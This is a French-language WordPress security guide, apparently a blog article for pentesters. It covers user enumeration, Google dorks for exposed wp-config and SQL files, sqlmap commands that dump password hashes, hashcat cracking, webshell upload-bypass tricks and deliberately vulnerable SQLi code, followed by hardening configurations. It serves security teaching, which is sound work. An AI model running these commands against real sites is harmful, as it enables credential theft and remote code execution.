Hacking WordPress : Fondamentaux, Vulnérabilités : Guide

Cet article couvre l'ensemble du processus d'évaluation de la sécurité d'une installation WordPress, depuis la phase de reconnaissance et d'énumération jusqu'à l'exploitation des vulnérabilités les plus courantes, en terminant par une checklist complète de durcissement. Il s'adresse aux pentesters, aux administrateurs systèmes et aux responsables sécurité souhaitant comprendre les risques réels auxquels leurs instances WordPress sont exposées. Pour approfondir, consultez notre article sur Attack Surface Management Gestion Surface Attaque. Guide complet sur le hacking WordPress : reconnaissance, énumération, exploitation des vulnérabilités courantes et checklist de durcissement pour. Les techniques offensives évoluent rapidement : hacking wordpress fondamentaux sécurisation fait partie des compétences essentielles que tout pentester et red teamer doit maîtriser pour mener des missions réalistes. conclusion.

L'approche présentée ici est strictement orientée sécurité défensive et offensive dans un cadre légal. Toutes les techniques décrites doivent être utilisées exclusivement dans le cadre d'audits autorisés, de programmes de bug bounty ou sur des environnements de test. L'exploitation non autorisée de systèmes informatiques est un délit pénal dans la plupart des juridictions. Pour approfondir, consultez notre article sur Red Team Pentest Bug Bounty Comparatif.

Nous utiliserons principalement des outils open source largement reconnus par la communauté : WPScan, Nmap, Hydra, sqlmap, Burp Suite Community, ainsi que des techniques manuelles essentielles pour tout auditeur. Chaque section inclut des exemples de commandes reproductibles et des extraits de code illustrant les vulnérabilités et leurs correctifs.

Vos équipes savent-elles réagir face à une intrusion en cours ?

WordPress permet par défaut d'énumérer les utilisateurs via plusieurs méthodes. C'est l'une des premières étapes pour préparer une attaque par brute-force :

# Méthode 1 : Paramètre author (redirection vers /author/username/)
for i in $(seq 1 10); do
 curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" \
 "https://target.com/?author=$i"
done

# Méthode 2 : API REST WordPress (activée par défaut depuis WP 4.7)
curl -s https://target.com/wp-json/wp/v2/users | python3 -m json.tool
# Retourne : id, name, slug, description, url, avatar_urls

# Méthode 3 : API REST avec pagination
curl -s "https://target.com/wp-json/wp/v2/users?per_page=100"

# Méthode 4 : Flux RSS des auteurs
curl -s https://target.com/feed/ | grep -oP '<dc:creator>\K[^<]+'

# Méthode 5 : Sitemap (si activé)
curl -s https://target.com/wp-sitemap-users-1.xml

Fichiers et répertoires sensibles

# Fichier de debug (peut contenir des erreurs PHP, chemins, requêtes SQL)
curl -s https://target.com/wp-content/debug.log | head -50

# Vérification de XML-RPC (vecteur de brute-force amplifié)
curl -s -X POST https://target.com/xmlrpc.php \
 -d '<methodCall><methodName>system.listMethods</methodName></methodCall>'

# Listing des répertoires (si Options +Indexes est activé)
curl -s https://target.com/wp-content/plugins/
curl -s https://target.com/wp-content/uploads/
curl -s https://target.com/wp-includes/

# Fichier wp-config.php backup (erreur courante)
curl -s https://target.com/wp-config.php.bak
curl -s https://target.com/wp-config.php.old
curl -s https://target.com/wp-config.php~
curl -s https://target.com/.wp-config.php.swp

2.4 Google Dorks pour WordPress

Les opérateurs de recherche avancés de Google permettent de découvrir des installations WordPress vulnérables, des fichiers exposés et des erreurs de configuration. Voici les dorks les plus efficaces :

# Trouver des pages de login WordPress
inurl:wp-login.php

# Détecter des fichiers debug.log exposés
inurl:wp-content/debug.log filetype:log

# Trouver des fichiers wp-config exposés
inurl:wp-config.php filetype:php intext:DB_PASSWORD

# Installations avec directory listing activé
intitle:"Index of" inurl:wp-content/plugins/

# Rechercher des sites avec un plugin spécifique vulnérable
inurl:wp-content/plugins/contact-form-7/

# Pages d'administration WordPress indexées
inurl:wp-admin intitle:"Dashboard"

# Fichiers de sauvegarde de base de données
inurl:wp-content/ filetype:sql

# Recherche ciblée sur un domaine spécifique
site:target.com inurl:wp-content
site:target.com inurl:wp-admin
site:target.com filetype:xml inurl:sitemap

Sécurisation du fichier wp-config.php et des accès administrateurs

Le fichier wp-config.php contient les informations les plus sensibles d'une installation WordPress : credentials de base de données, clés secrètes de sécurité, préfixe des tables. La première mesure est de le déplacer un niveau au-dessus du répertoire web (WordPress le cherche automatiquement dans le répertoire parent si absent de sa position habituelle). La deuxième est d'en restreindre l'accès direct via la configuration Nginx avec une directive deny all. Les clés secrètes doivent être générées via le service officiel WordPress et renouvelées au moins annuellement, et après tout incident de sécurité suspecté.

Automatisation des mises à jour WordPress et gestion des plugins obsolètes

Les mises à jour WordPress constituent la mesure de sécurité la plus impactante et la plus sous-utilisée. La majorité des compromissions WordPress exploitent des plugins vulnérables non mis à jour, parfois abandonnés par leurs développeurs depuis des années. WordPress propose des mises à jour automatiques configurables ; pour les environnements critiques, un processus de validation en staging avant déploiement en production est recommandé afin d'éviter les régressions fonctionnelles introduites par les nouvelles versions de plugins.

Permissions fichiers et répertoires WordPress : bonnes pratiques

Les permissions d'une installation WordPress doivent suivre les recommandations officielles : 644 pour les fichiers et 755 pour les répertoires. Le répertoire wp-content/uploads mérite une attention particulière — accessible en écriture par le serveur web, l'exécution PHP ne doit jamais y être autorisée. Une configuration Nginx bloquant l'exécution PHP dans ce répertoire empêche l'exploitation de nombreuses vulnérabilités d'upload. La propriété des fichiers (owner) doit être distincte de l'utilisateur du processus web pour limiter les modifications non autorisées.

Audit de sécurité WordPress : points de contrôle essentiels

Un audit de sécurité WordPress couvre plusieurs dimensions : vérification des versions (core, plugins, thèmes) et détection des composants abandonnés, analyse des permissions fichiers et répertoires, revue des comptes administrateurs (mots de passe forts, MFA activé, suppression des comptes inactifs), vérification de la configuration SSL/TLS et des headers de sécurité HTTP, et test de la résistance aux vecteurs d'attaque courants (xmlrpc.php, wp-login.php brute force). Cet audit doit être réalisé annuellement minimum, idéalement tous les 6 mois pour les sites critiques.

Les injections SQL dans WordPress proviennent presque exclusivement de plugins qui construisent des requêtes SQL sans utiliser correctement la classe $wpdb et sa méthode prepare(). Le problème est d'autant plus critique que de nombreux développeurs de plugins ne sont pas des experts en sécurité et ignorent les bonnes pratiques de requêtage.

Code vulnérable vs code sécurisé

// CODE VULNÉRABLE : concaténation directe (SQLi possible)
function get_user_data_vulnerable($user_id) {
 global $wpdb;
 $query = "SELECT * FROM {$wpdb->prefix}custom_table 
 WHERE user_id = " . $_GET['id'];
 return $wpdb->get_results($query);
}

// CODE VULNÉRABLE : LIKE sans échappement
function search_vulnerable($search_term) {
 global $wpdb;
 $query = "SELECT * FROM {$wpdb->prefix}posts 
 WHERE post_title LIKE '%{$_GET['s']}%'";
 return $wpdb->get_results($query);
}

// CODE SÉCURISÉ : utilisation de $wpdb->prepare()
function get_user_data_secure($user_id) {
 global $wpdb;
 $query = $wpdb->prepare(
 "SELECT * FROM {$wpdb->prefix}custom_table WHERE user_id = %d",
 intval($_GET['id'])
 );
 return $wpdb->get_results($query);
}

// CODE SÉCURISÉ : LIKE avec échappement correct
function search_secure($search_term) {
 global $wpdb;
 $like = '%' . $wpdb->esc_like(sanitize_text_field($_GET['s'])) . '%';
 $query = $wpdb->prepare(
 "SELECT * FROM {$wpdb->prefix}posts WHERE post_title LIKE %s",
 $like
 );
 return $wpdb->get_results($query);
}

Exploitation avec sqlmap

# Détection automatique d'une SQLi dans un paramètre GET
sqlmap -u "https://target.com/?custom_action=view&id=1" \
 --cookie="wordpress_logged_in_xxx=yyy" --batch --dbs

# Exploitation d'un paramètre POST (formulaire de plugin)
sqlmap -u "https://target.com/wp-admin/admin-ajax.php" \
 --data="action=custom_search&query=test" --batch --dbs

# Extraction des identifiants WordPress
sqlmap -u "https://target.com/?custom_action=view&id=1" \
 --batch -D wordpress -T wp_users --dump

# Extraction ciblée des hash de mots de passe
sqlmap -u "https://target.com/?custom_action=view&id=1" \
 --batch -D wordpress -T wp_users -C user_login, user_pass --dump

# Cracking des hash WordPress (phpass) avec hashcat
hashcat -m 400 wp_hashes.txt rockyou.txt -O

3.4 File Upload via thèmes et plugins

Les vulnérabilités d'upload de fichiers sont particulièrement critiques dans WordPress car elles conduisent généralement à l'exécution de code à distance (RCE). Plusieurs vecteurs d'attaque sont couramment exploités :

Techniques de contournement des restrictions d'upload

# Technique 1 : Double extension
# Le serveur vérifie la dernière extension mais Apache peut
# interpréter shell.php.jpg comme PHP si mal configuré
mv webshell.php webshell.php.jpg

# Technique 2 : Extension nulle (null byte - anciennes versions PHP)
# Fonctionne sur PHP < 5.3.4
mv webshell.php "webshell.php%00.jpg"

# Technique 3 : Manipulation du Content-Type
curl -X POST "https://target.com/wp-admin/async-upload.php" \
 -H "Cookie: wordpress_logged_in_xxx=yyy" \
 -F "action=upload-attachment" \
 -F "[email protected];type=image/jpeg" \
 -F "_wpnonce=NONCE_VALUE"

# Technique 4 : Extension alternative (.phtml, .pht, .php5, .phar)
mv webshell.php webshell.phtml

# Technique 5 : Fichier .htaccess malveillant
# Si on peut uploader un .htaccess dans /uploads/
# AddType application/x-httpd-php .jpg
echo 'AddType application/x-httpd-php .jpg' > .htaccess

# Rate limiting Nginx pour wp-login.php
limit_req_zone $binary_remote_addr zone=wp_login:10m rate=3r/m;

location = /wp-login.php {
 limit_req zone=wp_login burst=3 nodelay;
 limit_req_status 429;
 
 include fastcgi_params;
 fastcgi_pass unix:/run/php/php8.2-fpm.sock;
 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}

4.4 Règles de durcissement .htaccess

# Protéger wp-config.php
<Files wp-config.php>
 Require all denied
</Files>

# Bloquer l'accès à .htaccess
<Files .htaccess>
 Require all denied
</Files>

# Désactiver le listing des répertoires
Options -Indexes

# Bloquer l'exécution PHP dans /uploads/
<Directory "/var/www/html/wp-content/uploads">
 <FilesMatch "\.php$">
 Require all denied
 </FilesMatch>
</Directory>

# Bloquer l'accès à /wp-includes/
<IfModule mod_rewrite.c>
 RewriteEngine On
 RewriteBase /
 RewriteRule ^wp-admin/includes/ - [F,L]
 RewriteRule !^wp-includes/ - [S=3]
 RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
 RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
 RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>

# Headers de sécurité
<IfModule mod_headers.c>
 Header set X-Content-Type-Options "nosniff"
 Header set X-Frame-Options "SAMEORIGIN"
 Header set X-XSS-Protection "1; mode=block"
 Header set Referrer-Policy "strict-origin-when-cross-origin"
 Header set Permissions-Policy "camera=(), microphone=(), geolocation=()"
 Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
 # CSP basique (à adapter selon votre site)
 Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com"
</IfModule>

4.5 Permissions fichiers et wp-config.php

# Permissions recommandées pour WordPress
# Répertoires : 755 (rwxr-xr-x)
find /var/www/html -type d -exec chmod 755 {} \;

# Fichiers : 644 (rw-r--r--)
find /var/www/html -type f -exec chmod 644 {} \;

# wp-config.php : 600 ou 400 (lecture seule par le propriétaire)
chmod 600 /var/www/html/wp-config.php

# Propriétaire : www-data (ou l'utilisateur du serveur web)
chown -R www-data:www-data /var/www/html

# Optionnel : déplacer wp-config.php au-dessus du webroot
# WordPress le détecte automatiquement un niveau au-dessus
mv /var/www/html/wp-config.php /var/www/wp-config.php
chmod 400 /var/www/wp-config.php

4.6 Sécurisation de wp-config.php

// Désactiver l'éditeur de fichiers dans l'admin WordPress
define('DISALLOW_FILE_EDIT', true);

// Désactiver l'installation de plugins/thèmes via l'admin
define('DISALLOW_FILE_MODS', true);

// Forcer HTTPS pour l'administration
define('FORCE_SSL_ADMIN', true);

// Changer le préfixe de table (à faire AVANT l'installation)
$table_prefix = 'wp_s3cur3_';

// Désactiver le mode debug en production
define('WP_DEBUG', false);
define('WP_DEBUG_LOG', false);
define('WP_DEBUG_DISPLAY', false);

// Limiter les révisions de posts (réduit la surface d'attaque BDD)
define('WP_POST_REVISIONS', 5);

// Régénérer les clés de sécurité (AUTH_KEY, SECURE_AUTH_KEY, etc.)
// Utiliser : https://api.wordpress.org/secret-key/1.1/salt/
define('AUTH_KEY', 'valeur_unique_générée');
define('SECURE_AUTH_KEY', 'valeur_unique_générée');
define('LOGGED_IN_KEY', 'valeur_unique_générée');
define('NONCE_KEY', 'valeur_unique_générée');
define('AUTH_SALT', 'valeur_unique_générée');
define('SECURE_AUTH_SALT', 'valeur_unique_générée');
define('LOGGED_IN_SALT', 'valeur_unique_générée');
define('NONCE_SALT', 'valeur_unique_générée');

À retenir

Visez un score minimum de 16/20 sur cette checklist pour une installation de production. Les 6 points marqués "Critique" (mises à jour, suppression des extensions inutilisées, désactivation XML-RPC, limitation des connexions, 2FA, sauvegardes et HTTPS) doivent être impérativement implémentés dès le déploiement du site.